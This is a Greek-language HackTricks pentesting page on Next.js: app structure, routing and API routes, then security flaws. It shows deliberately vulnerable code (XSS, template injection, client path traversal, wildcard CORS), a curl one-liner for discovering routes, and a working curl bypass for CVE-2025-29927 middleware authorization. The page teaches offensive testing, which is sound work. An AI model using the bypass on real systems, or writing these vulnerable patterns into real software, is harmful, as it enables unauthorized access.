NextJS

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

General Architecture of a Next.js Application

Typical File Structure

Ένα τυπικό έργο Next.js ακολουθεί μια συγκεκριμένη δομή αρχείων και φακέλων που υποστηρίζει χαρακτηριστικά όπως routing, API endpoints και διαχείριση static assets. Παρακάτω φαίνεται ένα τυπικό layout:

my-nextjs-app/
├── node_modules/
├── public/
│   ├── images/
│   │   └── logo.png
│   └── favicon.ico
├── app/
│   ├── api/
│   │   └── hello/
│   │       └── route.ts
│   ├── layout.tsx
│   ├── page.tsx
│   ├── about/
│   │   └── page.tsx
│   ├── dashboard/
│   │   ├── layout.tsx
│   │   └── page.tsx
│   ├── components/
│   │   ├── Header.tsx
│   │   └── Footer.tsx
│   ├── styles/
│   │   ├── globals.css
│   │   └── Home.module.css
│   └── utils/
│       └── api.ts
├── .env.local
├── next.config.js
├── tsconfig.json
├── package.json
├── README.md
└── yarn.lock / package-lock.json

Κύριοι Κατάλογοι και Αρχεία

  • public/: Φιλοξενεί στατικά assets όπως εικόνες, γραμματοσειρές και άλλα αρχεία. Τα αρχεία εδώ είναι προσβάσιμα στη ρίζα (/).
  • app/: Κεντρικός κατάλογος για τις σελίδες, τα layouts, τα components και τις API routes της εφαρμογής. Υιοθετεί το App Router παράδειγμα, επιτρέποντας προηγμένες λειτουργίες routing και τον διαχωρισμό component μεταξύ server και client.
  • app/layout.tsx: Ορίζει το root layout της εφαρμογής, περιτυλίγοντας όλες τις σελίδες και παρέχοντας συνεπή στοιχεία UI όπως επικεφαλίδες, υποσέλιδα και γραμμές πλοήγησης.
  • app/page.tsx: Λειτουργεί ως σημείο εισόδου για τη ρίζα /, αποδίδοντας την αρχική σελίδα.
  • app/[route]/page.tsx: Διαχειρίζεται στατικές και δυναμικές διαδρομές. Κάθε φάκελος μέσα σε app/ αντιπροσωπεύει ένα segment διαδρομής, και το page.tsx μέσα σε αυτούς τους φακέλους αντιστοιχεί στο component της διαδρομής.
  • app/api/: Περιέχει API routes, επιτρέποντας τη δημιουργία serverless functions που χειρίζονται HTTP αιτήματα. Αυτές οι routes αντικαθιστούν τον παραδοσιακό κατάλογο pages/api.
  • app/components/: Περιέχει επαναχρησιμοποιήσιμα React components που μπορούν να χρησιμοποιηθούν σε διάφορες σελίδες και layouts.
  • app/styles/: Περιλαμβάνει global CSS αρχεία και CSS Modules για styling περιορισμένο στα components.
  • app/utils/: Περιλαμβάνει utility functions, helper modules και άλλες μη-UI λογικές που μπορούν να μοιραστούν στην εφαρμογή.
  • .env.local: Αποθηκεύει μεταβλητές περιβάλλοντος ειδικές για το τοπικό περιβάλλον ανάπτυξης. Αυτές οι μεταβλητές δεν καταχωρούνται στο σύστημα ελέγχου εκδόσεων.
  • next.config.js: Προσαρμόζει τη συμπεριφορά του Next.js, συμπεριλαμβανομένων ρυθμίσεων webpack, μεταβλητών περιβάλλοντος και ρυθμίσεων ασφάλειας.
  • tsconfig.json: Διαμορφώνει τις ρυθμίσεις TypeScript για το έργο, επιτρέποντας έλεγχο τύπων και άλλες δυνατότητες TypeScript.
  • package.json: Διαχειρίζεται τις εξαρτήσεις του έργου, scripts και metadata.
  • README.md: Παρέχει τεκμηρίωση και πληροφορίες για το έργο, συμπεριλαμβανομένων οδηγιών εγκατάστασης, οδηγιών χρήσης και άλλων σχετικών λεπτομερειών.
  • yarn.lock / package-lock.json: Κλειδώνουν τις εξαρτήσεις του έργου σε συγκεκριμένες εκδόσεις, εξασφαλίζοντας συνεπείς εγκαταστάσεις σε διαφορετικά περιβάλλοντα.

Client-Side στο Next.js

Routing με βάση τα αρχεία στον κατάλογο app

Ο κατάλογος app είναι ο ακρογωνιαίος λίθος του routing στις τελευταίες εκδόσεις του Next.js. Αξιοποιεί το filesystem για να ορίσει διαδρομές, καθιστώντας τη διαχείριση των routes αυτονόητη και επεκτάσιμη.

Διαχείριση της ρίζας /

Δομή Αρχείων:

my-nextjs-app/
├── app/
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Κύρια αρχεία:

  • app/page.tsx: Χειρίζεται αιτήματα προς τη ρίζα /.
  • app/layout.tsx: Ορίζει το layout για την εφαρμογή, περιβάλλοντας όλες τις σελίδες.

Υλοποίηση:

tsxCopy code// app/page.tsx

export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}

Επεξήγηση:

  • Ορισμός διαδρομής: Το page.tsx αρχείο απευθείας κάτω από τον κατάλογο app αντιστοιχεί στη διαδρομή /.
  • Απόδοση: Αυτό το component αποδίδει το περιεχόμενο για την αρχική σελίδα.
  • Ενσωμάτωση Layout: Το HomePage component είναι τυλιγμένο από το layout.tsx, το οποίο μπορεί να περιλαμβάνει κεφαλίδες, υποσέλιδα και άλλα κοινά στοιχεία.
Διαχείριση άλλων στατικών διαδρομών

Παράδειγμα: /about Διαδρομή

Δομή Αρχείων:

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── about/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Εφαρμογή:

// app/about/page.tsx

export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}

Εξήγηση:

  • Ορισμός διαδρομής: Το αρχείο page.tsx μέσα στον φάκελο about αντιστοιχεί στη διαδρομή /about.
  • Απόδοση: Αυτό το component αποδίδει το περιεχόμενο για τη σελίδα about.
Δυναμικές διαδρομές

Οι δυναμικές διαδρομές επιτρέπουν την επεξεργασία μονοπατιών με μεταβλητά τμήματα, δίνοντας τη δυνατότητα στις εφαρμογές να εμφανίζουν περιεχόμενο με βάση παραμέτρους όπως IDs, slugs, κ.λπ.

Παράδειγμα: διαδρομή /posts/[id]

Δομή αρχείων:

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── posts/
│   │   └── [id]/
│   │       └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Υλοποίηση:

tsxCopy code// app/posts/[id]/page.tsx

import { useRouter } from 'next/navigation';

interface PostProps {
params: { id: string };
}

export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'

return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}

Επεξήγηση:

  • Δυναμικό Τμήμα: [id] δηλώνει ένα δυναμικό τμήμα στη διαδρομή, που αντιστοιχεί στην παράμετρο id στο URL.
  • Πρόσβαση σε Παραμέτρους: Το αντικείμενο params περιέχει τις δυναμικές παραμέτρους, προσβάσιμες εντός του component.
  • Ταίριασμα Διαδρομής: Οποιαδήποτε διαδρομή που ταιριάζει με το /posts/*, όπως /posts/1, /posts/abc, κ.λπ., θα χειρίζεται αυτό το component.
Φωλιασμένες Διαδρομές

Next.js υποστηρίζει φωλιασμένη δρομολόγηση, επιτρέποντας ιεραρχικές δομές διαδρομών που αντικατοπτρίζουν τη δομή του καταλόγου.

Παράδειγμα: /dashboard/settings/profile Διαδρομή

Δομή Αρχείων:

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── dashboard/
│   │   ├── settings/
│   │   │   └── profile/
│   │   │       └── page.tsx
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Υλοποίηση:

tsxCopy code// app/dashboard/settings/profile/page.tsx

export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}

Επεξήγηση:

  • Βαθιά Φωλιακή Δομή: Το αρχείο page.tsx μέσα στο dashboard/settings/profile/ αντιστοιχεί στη διαδρομή /dashboard/settings/profile.
  • Αντανάκλαση ιεραρχίας: Η δομή των φακέλων αντικατοπτρίζει τη διαδρομή URL, ενισχύοντας τη συντηρησιμότητα και τη σαφήνεια.
Διαδρομές Catch-All

Οι διαδρομές catch-all διαχειρίζονται πολλαπλά φωλιασμένα τμήματα ή άγνωστες διαδρομές, προσφέροντας ευελιξία στον χειρισμό διαδρομών.

Παράδειγμα: /* Διαδρομή

Δομή Αρχείων:

my-nextjs-app/
├── app/
│   ├── [...slug]/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Υλοποίηση:

// app/[...slug]/page.tsx

interface CatchAllProps {
params: { slug: string[] }
}

export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`

return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}

Εξήγηση:

  • Catch-All Segment: [...slug] καταγράφει όλα τα υπόλοιπα τμήματα της διαδρομής ως πίνακα.
  • Usage: Χρήσιμο για τον χειρισμό δυναμικών σεναρίων δρομολόγησης όπως διαδρομές που δημιουργούνται από χρήστες, εμφωλευμένες κατηγορίες, κ.λπ.
  • Ταύτιση Διαδρομής: Paths like /anything/here, /foo/bar/baz, κ.λπ., χειρίζονται από αυτό το component.

Πιθανές ευπάθειες στην πλευρά του client

Ενώ το Next.js παρέχει μια ασφαλή βάση, ακατάλληλες πρακτικές κωδικοποίησης μπορούν να εισάγουν ευπάθειες. Βασικές ευπάθειες στην πλευρά του client περιλαμβάνουν:

Cross-Site Scripting (XSS)

Οι επιθέσεις XSS συμβαίνουν όταν κακόβουλα scripts εισάγονται σε αξιόπιστους ιστότοπους. Οι επιτιθέμενοι μπορούν να εκτελέσουν scripts στον browser των χρηστών, αποσπώντας δεδομένα ή πραγματοποιώντας ενέργειες εκ μέρους τους.

Παράδειγμα ευάλωτου κώδικα:

// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}

Γιατί είναι ευάλωτο: Η χρήση του dangerouslySetInnerHTML με μη αξιόπιστη είσοδο επιτρέπει σε επιτιθέμενους να εγχύσουν κακόβουλα scripts.

Client-Side Template Injection

Συμβαίνει όταν οι εισόδοι χρηστών δεν χειρίζονται σωστά στα πρότυπα, επιτρέποντας σε επιτιθέμενους να εγχύσουν και να εκτελέσουν πρότυπα ή εκφράσεις.

Παράδειγμα ευάλωτου κώδικα:

import React from "react"
import ejs from "ejs"

function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}

Γιατί είναι ευάλωτο: Εάν template ή data περιέχει κακόβουλο περιεχόμενο, μπορεί να οδηγήσει στην εκτέλεση μη επιθυμητού code.

Client Path Traversal

Πρόκειται για μια ευπάθεια που επιτρέπει σε επιτιθέμενους να χειραγωγούν client-side paths για να εκτελέσουν μη επιθυμητές ενέργειες, όπως Cross-Site Request Forgery (CSRF). Σε αντίθεση με τον server-side path traversal, ο οποίος στοχεύει το filesystem του server, το CSPT επικεντρώνεται στην εκμετάλλευση μηχανισμών του client-side για να αναδρομολογήσει νόμιμα API requests προς κακόβουλα endpoints.

Παράδειγμα ευάλωτου Code:

Μια εφαρμογή Next.js επιτρέπει στους χρήστες να ανεβάζουν και να κατεβάζουν αρχεία. Η λειτουργία download υλοποιείται στο client side, όπου οι χρήστες μπορούν να καθορίσουν τη διαδρομή του αρχείου για λήψη.

// pages/download.js
import { useState } from "react"

export default function DownloadPage() {
const [filePath, setFilePath] = useState("")

const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}

return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}

Σενάριο επίθεσης

  1. Στόχος του επιτιθέμενου: Εκτέλεση CSRF επίθεσης για να διαγραφεί ένα κρίσιμο αρχείο (π.χ., admin/config.json) μέσω παραποίησης του filePath.
  2. Exploiting CSPT:
  • Malicious Input: Ο επιτιθέμενος δημιουργεί ένα URL με παραποιημένο filePath όπως ../deleteFile/config.json.
  • Resulting API Call: Ο client-side κώδικας κάνει αίτηση στο /api/files/../deleteFile/config.json.
  • Server’s Handling: Εάν ο server δεν επικυρώνει το filePath, θα επεξεργαστεί το αίτημα, ενδεχομένως διαγράφοντας ή αποκαλύπτοντας ευαίσθητα αρχεία.
  1. Executing CSRF:
  • Crafted Link: Ο επιτιθέμενος στέλνει στο θύμα ένα link ή ενσωματώνει κακόβουλο script που ενεργοποιεί το αίτημα download με το παραποιημένο filePath.
  • Outcome: Το θύμα ανεξίτηλα εκτελεί την ενέργεια, οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση ή διαγραφή αρχείων.

Recon: static export route discovery via _buildManifest

When nextExport/autoExport are true (static export), Next.js exposes the buildId in the HTML and serves a build manifest at /_next/static/<buildId>/_buildManifest.js. The sortedPages array and route→chunk mapping there enumerate every prerendered page without brute force.

  • Grab the buildId from the root response (often printed at the bottom) or from <script> tags loading /_next/static/<buildId>/....
  • Fetch the manifest and extract routes:
build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"'
  • Χρησιμοποιήστε τα εντοπισμένα paths (π.χ. /docs, /docs/content/examples, /signin) για να καθοδηγήσετε το auth testing και την ανακάλυψη endpoints.

Server-Side στο Next.js

Server-Side Rendering (SSR)

Οι σελίδες αποδίδονται στον server σε κάθε request, εξασφαλίζοντας ότι ο χρήστης λαμβάνει πλήρως rendered HTML. Σε αυτήν την περίπτωση θα πρέπει να δημιουργήσετε τον δικό σας custom server για να επεξεργάζεται τα requests.

Περιπτώσεις χρήσης:

  • Δυναμικό περιεχόμενο που αλλάζει συχνά.
  • Βελτιστοποίηση SEO, καθώς οι μηχανές αναζήτησης μπορούν να ανιχνεύσουν την πλήρως rendered σελίδα.

Υλοποίηση:

// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

Στατική δημιουργία ιστοτόπου (SSG)

Οι σελίδες αποδίδονται εκ των προτέρων κατά το χρόνο build, με αποτέλεσμα ταχύτερους χρόνους φόρτωσης και μειωμένο φόρτο στον διακομιστή.

Περίπτωσεις Χρήσης:

  • Περιεχόμενο που δεν αλλάζει συχνά.
  • Ιστολόγια, τεκμηρίωση, σελίδες μάρκετινγκ.

Υλοποίηση:

// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

Λειτουργίες χωρίς διακομιστή (API Routes)

Next.js επιτρέπει τη δημιουργία API endpoints ως λειτουργίες χωρίς διακομιστή. Αυτές οι λειτουργίες εκτελούνται κατ’ απαίτηση χωρίς την ανάγκη για αφιερωμένο διακομιστή.

Περιπτώσεις χρήσης:

  • Διαχείριση υποβολών φορμών.
  • Αλληλεπίδραση με βάσεις δεδομένων.
  • Επεξεργασία δεδομένων ή ενσωμάτωση με APIs τρίτων.

Υλοποίηση:

Με την εισαγωγή του καταλόγου app στο Next.js 13, το routing και ο χειρισμός API έγιναν πιο ευέλικτα και ισχυρά. Αυτή η σύγχρονη προσέγγιση εναρμονίζεται στενά με το file-based routing system αλλά εισάγει βελτιωμένες δυνατότητες, συμπεριλαμβανομένης της υποστήριξης για server και client components.

Βασικός Route Handler

File Structure:

my-nextjs-app/
├── app/
│   └── api/
│       └── hello/
│           └── route.js
├── package.json
└── ...

Υλοποίηση:

// app/api/hello/route.js

export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))

Επεξήγηση:

  • Τοποθεσία: API routes τοποθετούνται υπό τον φάκελο app/api/.
  • Ονομασία αρχείων: Κάθε API endpoint βρίσκεται σε ξεχωριστό φάκελο που περιέχει ένα αρχείο route.js ή route.ts.
  • Εξαγόμενες Συναρτήσεις: Αντί για ένα μοναδικό default export, εξάγονται συγκεκριμένες συναρτήσεις για HTTP methods (π.χ. GET, POST).
  • Διαχείριση Response: Χρησιμοποιήστε τον constructor Response για να επιστρέψετε responses, επιτρέποντας μεγαλύτερο έλεγχο στα headers και στα status codes.

Πώς να χειριστείτε άλλες paths και methods:

Handling Specific HTTP Methods

Next.js 13+ σας επιτρέπει να ορίσετε handlers για συγκεκριμένες HTTP methods μέσα στο ίδιο αρχείο route.js ή route.ts, προάγοντας πιο καθαρό και οργανωμένο κώδικα.

Παράδειγμα:

// app/api/users/[id]/route.js

export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

Επεξήγηση:

  • Πολλαπλές Εξαγωγές: Κάθε HTTP μέθοδος (GET, PUT, DELETE) έχει τη δική της εξαγόμενη συνάρτηση.
  • Παράμετροι: Το δεύτερο όρισμα παρέχει πρόσβαση στις παραμέτρους της διαδρομής μέσω του params.
  • Εμπλουτισμένες Απαντήσεις: Μεγαλύτερος έλεγχος στα αντικείμενα response, επιτρέποντας ακριβή διαχείριση headers και status code.
Catch-All και Εμφωλευμένες Διαδρομές

Next.js 13+ υποστηρίζει προηγμένες δυνατότητες δρομολόγησης όπως catch-all routes και εμφωλευμένα API routes, επιτρέποντας πιο δυναμικές και κλιμακούμενες δομές API.

Παράδειγμα Catch-All Route:

// app/api/[...slug]/route.js

export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

Εξήγηση:

  • Σύνταξη: [...] δηλώνει ένα catch-all τμήμα, που συλλαμβάνει όλες τις εμφωλευμένες διαδρομές.
  • Χρήση: Χρήσιμο για APIs που πρέπει να διαχειρίζονται διαφορετικά βάθη διαδρομών ή δυναμικά τμήματα.

Παράδειγμα Εμφωλευμένων Διαδρομών:

// app/api/posts/[postId]/comments/[commentId]/route.js

export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}

Επεξήγηση:

  • Deep Nesting: Επιτρέπει ιεραρχικές δομές API, αντανακλώντας τις σχέσεις μεταξύ πόρων.
  • Parameter Access: Εύκολη πρόσβαση σε πολλαπλές παραμέτρους διαδρομής μέσω του αντικειμένου params.
Διαχείριση API routes στο Next.js 12 και παλαιότερες εκδόσεις

API Routes στον φάκελο pages (Next.js 12 και παλαιότερες εκδόσεις)

Πριν το Next.js 13 εισάγει τον φάκελο app και βελτιώσει τις δυνατότητες δρομολόγησης, οι API routes ορίζονταν κυρίως μέσα στον φάκελο pages. Αυτή η προσέγγιση εξακολουθεί να χρησιμοποιείται ευρέως και υποστηρίζεται στο Next.js 12 και σε παλαιότερες εκδόσεις.

Βασική API Route

Δομή Αρχείων:

goCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── hello.js
├── package.json
└── ...

Υλοποίηση:

javascriptCopy code// pages/api/hello.js

export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}

Επεξήγηση:

  • Location: Οι διαδρομές API βρίσκονται στον κατάλογο pages/api/.
  • Export: Χρησιμοποιήστε export default για να ορίσετε τη συνάρτηση handler.
  • Function Signature: Η συνάρτηση handler λαμβάνει τα αντικείμενα req (HTTP request) και res (HTTP response).
  • Routing: Το όνομα αρχείου (hello.js) αντιστοιχεί στο endpoint /api/hello.

Δυναμικές Διαδρομές API

Δομή Αρχείων:

bashCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── users/
│           └── [id].js
├── package.json
└── ...

Υλοποίηση:

javascriptCopy code// pages/api/users/[id].js

export default function handler(req, res) {
const {
query: { id },
method,
} = req;

switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

Επεξήγηση:

  • Δυναμικά Τμήματα: Οι τετράγωνες αγκύλες ([id].js) δηλώνουν δυναμικά τμήματα διαδρομής.
  • Πρόσβαση σε Παραμέτρους: Χρησιμοποιήστε req.query.id για να αποκτήσετε πρόσβαση στη δυναμική παράμετρο.
  • Χειρισμός Μεθόδων: Χρησιμοποιήστε λογική με συνθήκες για να χειριστείτε διαφορετικές HTTP μεθόδους (GET, PUT, DELETE, κ.λπ.).

Χειρισμός Διαφορετικών HTTP Μεθόδων

Ενώ το βασικό παράδειγμα API route χειρίζεται όλες τις HTTP μεθόδους μέσα σε μία λειτουργία, μπορείτε να δομήσετε τον κώδικά σας ώστε να χειρίζεται κάθε μέθοδο ρητά για καλύτερη σαφήνεια και συντηρησιμότητα.

Παράδειγμα:

javascriptCopy code// pages/api/posts.js

export default async function handler(req, res) {
const { method } = req;

switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

Καλές Πρακτικές:

  • Διαχωρισμός Ευθυνών: Διαχωρίστε ξεκάθαρα τη λογική για διαφορετικά HTTP methods.
  • Συνέπεια Απαντήσεων: Εξασφαλίστε συνεπείς δομές απαντήσεων για ευκολία στο client-side handling.
  • Χειρισμός Σφαλμάτων: Χειριστείτε με ομαλό τρόπο μη υποστηριζόμενες μεθόδους και απροσδόκητα σφάλματα.

Ρύθμιση CORS

Ελέγξτε ποιες προελεύσεις (origins) μπορούν να έχουν πρόσβαση στις API routes σας, μειώνοντας ευπάθειες του Cross-Origin Resource Sharing (CORS).

Κακό Παράδειγμα Ρύθμισης:

// app/api/data/route.js

export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}

Σημειώστε ότι CORS μπορεί επίσης να ρυθμιστεί σε όλες τις API routes μέσα στο middleware.ts αρχείο:

// app/middleware.ts

import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")

const response = NextResponse.next()

if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}

// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}

return response
}

export const config = {
matcher: "/api/:path*", // Apply to all API routes
}

Πρόβλημα:

  • Access-Control-Allow-Origin: '*': Επιτρέπει σε οποιονδήποτε ιστότοπο να έχει πρόσβαση στο API, ενδεχομένως επιτρέποντας σε κακόβουλους ιστότοπους να αλληλεπιδρούν με το API σας χωρίς περιορισμούς.
  • Ευρεία επιτρεπόμενη χρήση μεθόδων: Η αποδοχή όλων των μεθόδων μπορεί να επιτρέψει σε επιτιθέμενους να εκτελέσουν ανεπιθύμητες ενέργειες.

Πώς το εκμεταλλεύονται οι επιτιθέμενοι:

Οι επιτιθέμενοι μπορούν να δημιουργήσουν κακόβουλους ιστότοπους που κάνουν αιτήσεις στο API σας, ενδεχομένως καταχρώμενοι λειτουργίες όπως ανάκτηση δεδομένων, τροποποίηση δεδομένων ή την εκκίνηση ανεπιθύμητων ενεργειών εξ ονόματος αυθεντικοποιημένων χρηστών.

CORS - Misconfigurations & Bypass

Έκθεση κώδικα διακομιστή στην πλευρά του πελάτη

Μπορεί να είναι εύκολο να χρησιμοποιηθεί κώδικας που προορίζεται για τον server επίσης σε κώδικα που εκτίθεται και χρησιμοποιείται από την πλευρά του πελάτη, ο καλύτερος τρόπος για να διασφαλίσετε ότι ένα αρχείο κώδικα δεν θα εκτεθεί στην πλευρά του πελάτη είναι να χρησιμοποιείτε αυτή την εισαγωγή στην αρχή του αρχείου:

import "server-only"

Κύρια αρχεία και ο ρόλος τους

middleware.ts / middleware.js

Τοποθεσία: Στη ρίζα του project ή μέσα στο src/.

Σκοπός: Εκτελεί κώδικα σε μια server-side serverless function πριν επεξεργαστεί ένα αίτημα, επιτρέποντας ενέργειες όπως authentication, ανακατευθύνσεις ή τροποποίηση των αποκρίσεων.

Ροή Εκτέλεσης:

  1. Εισερχόμενο αίτημα: Το middleware αναχαιτίζει το αίτημα.
  2. Επεξεργασία: Εκτελεί ενέργειες βάσει του αιτήματος (π.χ., έλεγχος authentication).
  3. Τροποποίηση Απάντησης: Μπορεί να τροποποιήσει την απάντηση ή να περάσει τον έλεγχο στον επόμενο handler.

Παραδείγματα χρήσης:

  • Ανακατεύθυνση μη αυθεντικοποιημένων χρηστών.
  • Προσθήκη προσαρμοσμένων κεφαλίδων.
  • Καταγραφή αιτημάτων.

Παράδειγμα ρύθμισης:

// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}

export const config = {
matcher: ["/protected/:path*"],
}

Middleware authorization bypass (CVE-2025-29927)

Εάν η authorization επιβάλλεται στο middleware, οι επηρεασμένες εκδόσεις του Next.js (<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3) μπορούν να παρακαμφθούν με την εισαγωγή της κεφαλίδας x-middleware-subrequest. Το framework θα παραλείψει το middleware recursion και θα επιστρέψει την προστατευμένη σελίδα.

  • Η βασική συμπεριφορά είναι συνήθως ένα 307 redirect σε μια login route όπως /api/auth/signin.
  • Στείλτε μια μεγάλη τιμή για το x-middleware-subrequest (επαναλάβετε middleware για να φτάσετε το MAX_RECURSION_DEPTH) για να αλλάξει η απάντηση σε 200:
curl -i "http://target/docs" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
  • Επειδή οι αυθεντικοποιημένες σελίδες φορτώνουν πολλά υπο-στοιχεία, προσθέστε την κεφαλίδα σε κάθε αίτημα (π.χ., Burp Match/Replace με κενή συμβολοσειρά αντιστοίχισης) για να αποτρέψετε την ανακατεύθυνση των assets.

next.config.js

Τοποθεσία: Στη ρίζα του έργου.

Σκοπός: Διαμορφώνει τη συμπεριφορά του Next.js, ενεργοποιώντας ή απενεργοποιώντας δυνατότητες, προσαρμόζοντας ρυθμίσεις webpack, ορίζοντας μεταβλητές περιβάλλοντος και ρυθμίζοντας διάφορα χαρακτηριστικά ασφαλείας.

Κύριες Ρυθμίσεις Ασφαλείας:

Κεφαλίδες Ασφαλείας

Οι κεφαλίδες ασφαλείας ενισχύουν την ασφάλεια της εφαρμογής σας δίνοντας οδηγίες στους browsers για το πώς να χειρίζονται το περιεχόμενο. Βοηθούν στη μείωση διαφόρων επιθέσεων όπως Cross-Site Scripting (XSS), Clickjacking, και MIME type sniffing:

  • Content Security Policy (CSP)
  • X-Frame-Options
  • X-Content-Type-Options
  • Strict-Transport-Security (HSTS)
  • Referrer Policy

Παραδείγματα:

// next.config.js

module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}
Ρυθμίσεις Βελτιστοποίησης Εικόνων

Next.js βελτιστοποιεί εικόνες για απόδοση, αλλά κακοδιαμορφώσεις μπορούν να οδηγήσουν σε ευπάθειες ασφαλείας, όπως το να επιτρέπουν σε μη αξιόπιστες πηγές να εγχέουν κακόβουλο περιεχόμενο.

Κακό Παράδειγμα Διαμόρφωσης:

// next.config.js

module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}

Πρόβλημα:

